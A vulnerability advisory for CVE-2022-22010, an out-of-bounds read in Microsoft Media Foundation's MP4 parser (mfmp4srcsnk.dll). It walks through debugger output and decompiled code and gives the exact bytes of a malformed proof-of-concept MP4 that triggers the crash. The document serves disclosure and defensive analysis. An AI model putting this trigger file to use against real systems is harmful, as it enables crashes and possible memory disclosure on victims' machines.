CVE-2022-22010
Microsoft Media Foundation CQTTrack::CreateChildAtom Information Disclosure Vulnerability (mfmp4srcsnk.dll)
CVE Number
Description
Summary
An information disclosure vulnerability exists in mfmp4srcsnk.dll
, which is part of the Microsoft Media Foundation framework. An Out-of-Bounds (OOB) read is triggered while parsing an invalid moov
atom in a malformed MP4 file.
Proof-of-Concept
The vulnerability can be triggered by right-clicking on the file poc.mp4
in Windows Explorer with Page Heap enabled on explorer.exe
.
Tested Versions
Software | Version |
---|---|
Microsoft Media Foundation - MPEG-4 Source and Sink DLL | 10.0.19041.1202 |
Windows Media Player | 12.0.19041.1266 |
Product URL
https://docs.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk
Technical Details
The following analysis was done using Product Version 10.0.19041.1202 of mfmp4srcsnk.dll
.
Crash details
The crash occurs at CQTTrack::CreateChildAtom+0x1d9
in mfmp4srcsnk.dll
:
(2d40.3bf0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
mfmp4srcsnk!CQTTrack::CreateChildAtom+0x1d9:
00007ff9`9865aba9 8b4808 mov ecx,dword ptr [rax+8] ds:00000000`4a107006=????????
0:005> k
# Child-SP RetAddr Call Site
00 00000000`0964dde0 00007ff9`98640330 mfmp4srcsnk!CQTTrack::CreateChildAtom+0x1d9
01 00000000`0964def0 00007ff9`98640150 mfmp4srcsnk!CQTAtom::ScanChildrenInBuffer+0xa0
02 00000000`0964dfa0 00007ff9`9865663b mfmp4srcsnk!CQTAtom::ScanChildren+0x200
03 00000000`0964e000 00007ff9`9864659d mfmp4srcsnk!CQTAtom::ParseAtom+0x13b
04 00000000`0964e040 00007ff9`9865c8c3 mfmp4srcsnk!CQTTrack::ParseAtom+0x6d
05 00000000`0964e080 00007ff9`9865b667 mfmp4srcsnk!CQTAtom::CreateTypedAtom+0x153
06 00000000`0964e120 00007ff9`98640330 mfmp4srcsnk!CQTMovie::CreateChildAtom+0x187
07 00000000`0964e260 00007ff9`98640150 mfmp4srcsnk!CQTAtom::ScanChildrenInBuffer+0xa0
08 00000000`0964e310 00007ff9`9865d9e2 mfmp4srcsnk!CQTAtom::ScanChildren+0x200
09 00000000`0964e370 00007ff9`98660d78 mfmp4srcsnk!CQTMovie::CreateQTMovie+0xf2
0a 00000000`0964e470 00007ff9`9865f6f9 mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x1e0
0b 00000000`0964e580 00007ff9`986612b8 mfmp4srcsnk!MFCreateQTMovie+0x5d
0c 00000000`0964e5f0 00007ff9`98662ecf mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x190
0d 00000000`0964e660 00007ff9`9866ab9d mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0xff
0e 00000000`0964e710 00007ff9`d1513327 mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x13d
0f 00000000`0964e790 00007ff9`d1513ba7 windows_storage!InitializeFileHandlerWithStream+0x177
10 00000000`0964e860 00007ff9`d1512da5 windows_storage!CFileSysItemString::HandlerCreateInstance+0x2e3
11 00000000`0964e950 00007ff9`d15325bc windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0xad
12 00000000`0964ea00 00007ff9`d15b2565 windows_storage!CFileSysItemString::LoadHandler+0x1a4
13 00000000`0964eb50 00007ff9`d1547f29 windows_storage!CFSFolder::LoadHandler+0xd5
14 00000000`0964eeb0 00007ff9`d15ba0c7 windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x165
15 00000000`0964ef80 00007ff9`d15b9fc2 windows_storage!CFSPropertyStoreFactory::_GetDelayedPropertyStore+0xf7
16 00000000`0964f000 00007ff9`ce0c94c5 windows_storage!CFSPropertyStoreFactory::GetDelayedPropertyStore+0x22
17 00000000`0964f040 00007ff9`ce0ad5b5 PROPSYS!CDelayedPropertyStore::v_GetDelegate+0xa5
18 00000000`0964f0d0 00007ff9`ce0ad6e2 PROPSYS!CMultiplexPropertyStore::GetValue+0xc5
19 00000000`0964f170 00007ff9`ce0ad5dd PROPSYS!PSGetValueAndPath+0x62
1a 00000000`0964f1f0 00007ff9`ce0aedb6 PROPSYS!CMultiplexPropertyStore::GetValue+0xed
1b 00000000`0964f290 00007ff9`ce0aebb5 PROPSYS!CPropertyProvider::_GetValue+0xa6
1c 00000000`0964f360 00007ff9`d15b3e88 PROPSYS!CPropertyProvider::GetValue+0xb5
1d 00000000`0964f3b0 00007ff9`d154cc28 windows_storage!ItemStore_ExtractProperty+0x94
1e 00000000`0964f470 00007ff9`d14f4ff5 windows_storage!ItemStore_GetCachedProperty+0x1b0
1f 00000000`0964f590 00007ff9`d1929cef windows_storage!CCachedShellItem::GetValue+0xf5
20 00000000`0964f660 00007ff9`d15c6e41 windows_storage!CPropertyTask::InternalResumeRT+0x2bf
21 00000000`0964f8a0 00007ff9`d155c8ec windows_storage!CRunnableTask::Run+0xc1
22 00000000`0964f8f0 00007ff9`d155c531 windows_storage!CShellTask::TT_Run+0x3c
23 00000000`0964f920 00007ff9`d15c55e4 windows_storage!CShellTaskThread::ThreadProc+0xdd
24 00000000`0964f9d0 00007ff9`d4963826 windows_storage!CShellTaskThread::s_ThreadProc+0x44
25 00000000`0964fa30 00007ff9`d5cdfbc3 shcore!ExecuteWorkItemThreadProc+0x16
26 00000000`0964fa60 00007ff9`d5cc315a ntdll!RtlpTpWorkCallback+0x173
27 00000000`0964fb40 00007ff9`d5a97034 ntdll!TppWorkerThread+0x68a
28 00000000`0964fe40 00007ff9`d5cc2651 KERNEL32!BaseThreadInitThunk+0x14
29 00000000`0964fe70 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:005> !ext.heap -p -a @rax+8
address 000000004a107006 found in
_DPH_HEAP_ROOT @ 49b1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
494feaf8: 4a106f80 80 - 4a106000 2000
00007ff9d5d6867b ntdll!RtlDebugAllocateHeap+0x000000000000003b
00007ff9d5c9d255 ntdll!RtlpAllocateHeap+0x00000000000000f5
00007ff9d5c9b44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d
00007ff9d4ce9d40 msvcrt!malloc+0x0000000000000070
00007ff9cc16b247 MFPlat!operator new+0x0000000000000023
00007ff9cc1529d6 MFPlat!MFCreateMemoryBuffer+0x0000000000000056
00007ff998661007 mfmp4srcsnk!CQTMovie::CopyBuffer+0x00000000000000c7
00007ff998660d3e mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x00000000000001a6
00007ff99865f6f9 mfmp4srcsnk!MFCreateQTMovie+0x000000000000005d
00007ff9986612b8 mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x0000000000000190
00007ff998662ecf mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0x00000000000000ff
00007ff99866ab9d mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x000000000000013d
00007ff9d1513327 windows_storage!InitializeFileHandlerWithStream+0x0000000000000177
00007ff9d1513ba7 windows_storage!CFileSysItemString::HandlerCreateInstance+0x00000000000002e3
00007ff9d1512da5 windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0x00000000000000ad
00007ff9d15325bc windows_storage!CFileSysItemString::LoadHandler+0x00000000000001a4
00007ff9d15b2565 windows_storage!CFSFolder::LoadHandler+0x00000000000000d5
00007ff9d1547f29 windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x0000000000000165
00007ff9d15ba0c7 windows_storage!CFSPropertyStoreFactory::_GetDelayedPropertyStore+0x00000000000000f7
00007ff9d15b9fc2 windows_storage!CFSPropertyStoreFactory::GetDelayedPropertyStore+0x0000000000000022
00007ff9ce0c94c5 PROPSYS!CDelayedPropertyStore::v_GetDelegate+0x00000000000000a5
00007ff9ce0ad5b5 PROPSYS!CMultiplexPropertyStore::GetValue+0x00000000000000c5
00007ff9ce0ad6e2 PROPSYS!PSGetValueAndPath+0x0000000000000062
00007ff9ce0ad5dd PROPSYS!CMultiplexPropertyStore::GetValue+0x00000000000000ed
00007ff9ce0aedb6 PROPSYS!CPropertyProvider::_GetValue+0x00000000000000a6
00007ff9ce0aebb5 PROPSYS!CPropertyProvider::GetValue+0x00000000000000b5
00007ff9d15b3e88 windows_storage!ItemStore_ExtractProperty+0x0000000000000094
00007ff9d154cc28 windows_storage!ItemStore_GetCachedProperty+0x00000000000001b0
00007ff9d14f4ff5 windows_storage!CCachedShellItem::GetValue+0x00000000000000f5
00007ff9d1929cef windows_storage!CPropertyTask::InternalResumeRT+0x00000000000002bf
00007ff9d15c6e41 windows_storage!CRunnableTask::Run+0x00000000000000c1
00007ff9d155c8ec windows_storage!CShellTask::TT_Run+0x000000000000003c
As seen above, @rax+8
points to an invalid region on the heap.
Structure of poc.mp4
The first 25 bytes of poc.mp4
is as shown below:
00 00 00 1C | 6D 6F 6F 76 | 00 00 00 00 | 74 72 61 6B ....moov....trak
00 00 00 00 | 74 6B 68 64 | 00 ....tkhd.
With reference to this website, poc.mp4
has the following atom structure:
- moov atom:
- Size (4 bytes) - A 32-bit size of the atom, set to
0x1c
- Atom Type (4 bytes) - Fourcc code of the atom, set to
moov
- Size (4 bytes) - A 32-bit size of the atom, set to
- trak atom:
- Size (4 bytes) - A 32-bit size of the atom, set to
0x0
- Atom Type (4 bytes) - Fourcc code of the atom, set to
trak
- Size (4 bytes) - A 32-bit size of the atom, set to
- tkhd atom:
- Size (4 bytes) - A 32-bit size of the atom, set to
0x0
- Atom Type (4 bytes) - Fourcc code of the atom, set to
tkhd
- Version (1 byte) - Version of this
tkhd
atom usually set to 0 or 1, set to0x0
- Size (4 bytes) - A 32-bit size of the atom, set to
The remaining 231 bytes containing 0x30
are appended to poc.mp4
to fulfil the minimum valid MP4 size of 256 bytes.
Root Cause Analysis
At CMFMP4PropertyHandler::LocateHeader+0x82 (mfmp4srcsnk.dll+0000000000037ECA)
, tempBuffer
is initialized to contain an IMFMediaBuffer interface.
tempBuffer = 0i64;
*cbOffset = 0i64;
*ppBuffer = 0i64;
atomOffset = 0i64;
hr = MFCreateMemoryBuffer(0x100u, &tempBuffer);
At CMFMP4PropertyHandler::LocateHeader+0xd8 (mfmp4srcsnk.dll+0000000000037F20)
, CMFMP4PropertyHandler::ReadData
is called to read the raw bytes from poc.mp4
into tempBuffer
. Within CMFMP4PropertyHandler::ReadData
, IMFMediaBuffer::SetCurrentLength
is called with cbCurrentLength
as its parameter, setting the buffer length to 0x100
.
cbCurrentLength = 0x100;
if ( atomOffset ) // skipped as atomOffset = 0
cbCurrentLength = 16;
hr = CMFMP4PropertyHandler::ReadData(this, tempBuffer, atomOffset, cbCurrentLength);
0:000> g
Breakpoint 1 hit
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0xd8:
00007ff9`54357f20 e8c39f0000 call mfmp4srcsnk!CMFMP4PropertyHandler::ReadData (00007ff9`54361ee8)
0:000> dps @rdx
00000201`04cf4f60 00007ff9`cc28a590 MFPlat!CMFMemoryBuffer::`vftable'
00000201`04cf4f68 00007ff9`cc28a560 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f70 00007ff9`cc28a518 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f78 00000000`00000000
00000201`04cf4f80 00000000`00000000
00000201`04cf4f88 00000000`00000000
00000201`04cf4f90 c0c0c0c0`00000001
00000201`04cf4f98 00000201`08d72fd0
00000201`04cf4fa0 00000000`ffffffff
00000201`04cf4fa8 00000000`00000000
00000201`04cf4fb0 00000000`00000000
00000201`04cf4fb8 00000000`020007d0
00000201`04cf4fc0 00000000`00000000
00000201`04cf4fc8 00000000`00000001
00000201`04cf4fd0 c0c0c0c0`00000100 <-- 0x100, length of buffer
00000201`04cf4fd8 00000201`04cf2f00 <-- 00000201`04cf2f00, address of buffer containing file bytes
0:000> p
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0xdd:
00007ff9`54357f25 8bd8 mov ebx,eax
0:000> db 00000201`04cf2f00
00000201`04cf2f00 00 00 00 1c 6d 6f 6f 76-00 00 00 00 74 72 61 6b ....moov....trak
00000201`04cf2f10 00 00 00 00 74 6b 68 64-00 30 30 30 30 30 30 30 ....tkhd.0000000
00000201`04cf2f20 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f30 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f40 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f50 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f60 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f70 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f80 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2f90 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2fa0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2fb0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2fc0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2fd0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2fe0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
00000201`04cf2ff0 30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30 0000000000000000
At CMFMP4PropertyHandler::LocateHeader+0x1c0 (mfmp4srcsnk.dll+0000000000038008)
, CQTMovie::GetHeaderAtomLocation
is called, which assigns the size of the moov
atom to dwLength
. If the returned HRESULT
is successful, v15
will then contain the atom size, which is 0x1c
in this case.
hr = CQTMovie::GetHeaderAtomLocation(v11, tempBuffer, &v33, cbOffset, &dwLength, &v32);
if ( hr >= 0 )
v15 = dwLength; // v15 = dwLength = 0x1c
At CMFMP4PropertyHandler::LocateHeader+0x290 (mfmp4srcsnk+00000000000380D8)
, MFCreateMediaBufferWrapper
is called, which initializes a new IMFMediaBuffer named ppBuffer
that wraps tempBuffer
. As length
is set to 0x1c
, the size of ppBuffer
is also 0x1c
.
length = cbCurrentLength - offset;
if ( length > v15 )
length = v15;
// offset = 0, length = 0x1c
hr = MFCreateMediaBufferWrapper(tempBuffer, offset, length, &ppBuffer);
However, as seen below, ppBuffer
wraps tempBuffer
, which has a much larger size of 0x100
:
0:000> g
Breakpoint 2 hit
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x290:
00007ff9`543580d8 48ff15f96f1c00 call qword ptr [mfmp4srcsnk!_imp_MFCreateMediaBufferWrapper (00007ff9`5451f0d8)] ds:00007ff9`5451f0d8={MFPlat!MFCreateMediaBufferWrapper (00007ff9`cc164440)}
0:000> r rcx, rdx, r8, r9
rcx=0000020104cf4f60 rdx=0000000000000000 r8=000000000000001c r9=000000d34bdee458
0:000> dq 000000d34bdee458
000000d3`4bdee458 00000201`04d0df90
0:000> p
mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x297:
00007ff9`543580df 0f1f440000 nop dword ptr [rax+rax]
0:000> dps 00000201`04d0df90
00000201`04d0df90 00007ff9`cc28c0d8 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0df98 00007ff9`cc28c0a8 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfa0 00007ff9`cc28c080 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfa8 00007ff9`cc28c038 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfb0 00000000`00000000
00000201`04d0dfb8 00000000`00000000
00000201`04d0dfc0 00000000`00000000
00000201`04d0dfc8 00007ff9`cc28c020 MFPlat!CMFMediaBufferWrapper::`vftable'
00000201`04d0dfd0 00000000`00000000
00000201`04d0dfd8 00007ff9`cc2d3c88 MFPlat!CPlatformPools::g_PlatformPools+0x138
00000201`04d0dfe0 00000000`00000001
00000201`04d0dfe8 0000001c`0000001c <-- Size of ppBuffer is 0x1c
00000201`04d0dff0 00000000`00000000
00000201`04d0dff8 00000201`04cf4f60
00000201`04d0e000 ????????`????????
00000201`04d0e008 ????????`????????
0:000> dps 00000201`04cf4f60
00000201`04cf4f60 00007ff9`cc28a590 MFPlat!CMFMemoryBuffer::`vftable'
00000201`04cf4f68 00007ff9`cc28a560 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f70 00007ff9`cc28a518 MFPlat!CMFMediaBuffer::`vftable'
00000201`04cf4f78 00000000`00000000
00000201`04cf4f80 00000000`00000000
00000201`04cf4f88 00000000`00000000
00000201`04cf4f90 c0c0c0c0`00000002
00000201`04cf4f98 00000201`08d72fd0
00000201`04cf4fa0 00000000`ffffffff
00000201`04cf4fa8 00000000`00000000
00000201`04cf4fb0 00000000`00000000
00000201`04cf4fb8 00000000`020007d0
00000201`04cf4fc0 00000000`00000000
00000201`04cf4fc8 00000100`00000001
00000201`04cf4fd0 c0c0c0c0`00000100 <-- Wraps a buffer of size 0x100
00000201`04cf4fd8 00000201`04cf2f00
Later on, at CQTMovie::CreateMovieFromBuffer+0x1a1 (mfmp4srcsnk+0000000000040D39)
, CQTMovie::CopyBuffer
copies the wrapped buffer from ppBuffer
into ppBuffer_copy
.
hr = CQTMovie::CopyBuffer(ppBuffer, v11, &ppBuffer_copy);
In CQTMovie::CopyBuffer
, IMFMediaBuffer::GetCurrentLength
is called to retrieve the size of ppBuffer
, which is 0x1c
. Therefore, memcpy_0
only copies 0x1c
bytes of data from ppBuffer
into ppbuffer_copy
.
// CQTMovie::CopyBuffer+0x9d (mfmp4srcsnk.dll+0000000000040FDD)
hr = ppBuffer->lpVtbl->GetCurrentLength(ppBuffer, &pcbCurrentLength); // Sets pcbCurrentLength to 0x1c
// CQTMovie::CopyBuffer+0xb8 (mfmp4srcsnk.dll+0000000000040FF8)
newLength = pcbCurrentLength - offset; // newLength = 0x1c - 0 = 0x1c
hr = MFCreateMemoryBuffer(newLength, &tempBuffer);
// CQTMovie::CopyBuffer+0xeb (mfmp4srcsnk.dll+000000000004102B)
hr = ppBuffer->lpVtbl->Lock(ppBuffer, &ppBufferData_ptr, 0i64, &pcbCurrentLength);
// CQTMovie::CopyBuffer+0x112 (mfmp4srcsnk.dll+0000000000041052)
hr = tempBuffer->lpVtbl->Lock(tempBuffer, &tempBufferData_ptr, pcbMaxLength, v28);
// CQTMovie::CopyBuffer+0x130 (mfmp4srcsnk.dll+0000000000041070)
memcpy_0(tempBufferData_ptr, (ppBufferData_ptr + offset), newLength); // offset = 0, newLength = 0x1c
hr = tempBuffer->lpVtbl->SetCurrentLength(tempBuffer, newLength);
// CQTMovie::CopyBuffer+0x18e (mfmp4srcsnk.dll+00000000000410CE)
*ppBuffer_copy = tempBuffer;
Below shows that only 0x1c
raw file bytes were copied into the buffer of ppBuffer_copy
:
0:000> g
Breakpoint 3 hit
mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x1a1:
00007ff9`54360d39 e802020000 call mfmp4srcsnk!CQTMovie::CopyBuffer (00007ff9`54360f40)
0:000> r rcx, rdx, r8
rcx=0000020104d0df90 rdx=0000000000000000 r8=000000d34bdee2c0
0:000> p
mfmp4srcsnk!CQTMovie::CreateMovieFromBuffer+0x1a6:
00007ff9`54360d3e 8bf8 mov edi,eax
0:000> r rcx, rdx, r8
rcx=146509f916d00000 rdx=0000000000000000 r8=000000000000001c
0:000> dq 000000d34bdee2c0
000000d3`4bdee2c0 00000201`04d11f60
0:000> dps 00000201`04d11f60
00000201`04d11f60 00007ff9`cc28a590 MFPlat!CMFMemoryBuffer::`vftable'
00000201`04d11f68 00007ff9`cc28a560 MFPlat!CMFMediaBuffer::`vftable'
00000201`04d11f70 00007ff9`cc28a518 MFPlat!CMFMediaBuffer::`vftable'
00000201`04d11f78 00000000`00000000
00000201`04d11f80 00000000`00000000
00000201`04d11f88 00000000`00000000
00000201`04d11f90 c0c0c0c0`00000001
00000201`04d11f98 00000201`08d74fd0
00000201`04d11fa0 00000000`ffffffff
00000201`04d11fa8 00000000`00000000
00000201`04d11fb0 00000000`00000000
00000201`04d11fb8 00000000`020007d0
00000201`04d11fc0 00000000`00000000
00000201`04d11fc8 0000001c`00000001
00000201`04d11fd0 c0c0c0c0`0000001c <-- Buffer size of 0x1c
00000201`04d11fd8 00000201`04d0ffe0 <-- Address of buffer, only holds 0x1c raw file bytes
0:000> db 00000201`04d0ffe0
00000201`04d0ffe0 00 00 00 1c 6d 6f 6f 76-00 00 00 00 74 72 61 6b ....moov....trak
00000201`04d0fff0 00 00 00 00 74 6b 68 64-00 30 30 30 d0 d0 d0 d0 ....tkhd.000....
00000201`04d10000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Data in ppBuffer_copy
is then used for further parsing of atoms in poc.mp4
.
Eventually, at CQTTrack::CreateChildAtom+0x1b8 (mfmp4srcsnk+000000000003AB88)
, when attempting to parse the tkhd
atom, CQTFullAtom::GetAtomContentsDataPtr
is called, which returns an invalid pointer to the end of the 0x1c
long buffer.
version = this->tkhdAtom->vtbl->CQTFullAtom::GetVersion(this->tkhdAtom);
vtbl = this->tkhdAtom->vtbl;
if ( !version ) {
// Crash occurs here as version = 0x0
atomDataPtr = *(vtbl->CQTFullAtom::GetAtomContentsDataPtr(this->tkhdAtom) + 8);
trackID = _byteswap_ulong(atomDataPtr);
this->tkhdAtom->trakID = trackID;
}
if ( version == 1 ) {
// Crash would occur here if version = 0x1
atomDataPtr = *(this->tkhdAtom->vtbl->CQTFullAtom::GetAtomContentsDataPtr(this->tkhdAtom) + 4);
}
This then causes the OOB read past the raw file bytes in the buffer, as seen below:
0:000> g
(3244.1374): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
mfmp4srcsnk!CQTTrack::CreateChildAtom+0x1d9:
00007ff9`5435aba9 8b4808 mov ecx,dword ptr [rax+8] ds:00000201`04d10004=????????
0:000> db @rax
00000201`04d0fffc d0 d0 d0 d0 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ....????????????
0:000> db @rax-1c
00000201`04d0ffe0 00 00 00 1c 6d 6f 6f 76-00 00 00 00 74 72 61 6b ....moov....trak
00000201`04d0fff0 00 00 00 00 74 6b 68 64-00 30 30 30 d0 d0 d0 d0 ....tkhd.000....
Additionally, a check exists at CQTFullAtom::ValidateAtom+0x23b (mfmp4srcsnk+000000000002095B)
, which prevents the moov
atom size field from being smaller than the position of the tkhd
atom version field . Thus, 0x1c
is the smallest possible size for poc.mp4
.
hr = this->vtbl->CQTAtom::GetAtomLength(this, &atomSize); // atomSize = 0xc
// Redacted code
offset = this->vtbl->CQTFullAtom::GetOffsetOfChildrenOrData(this); // offset = 0xc
if ( atomSize < offset ) {
// Code to terminate parsing...
}
Conclusion
If an attacker is able to properly massage the heap, this vulnerability could lead to information disclosure of data in memory. When chained with other vulnerabilities, it could result in potential heap corruption or code execution.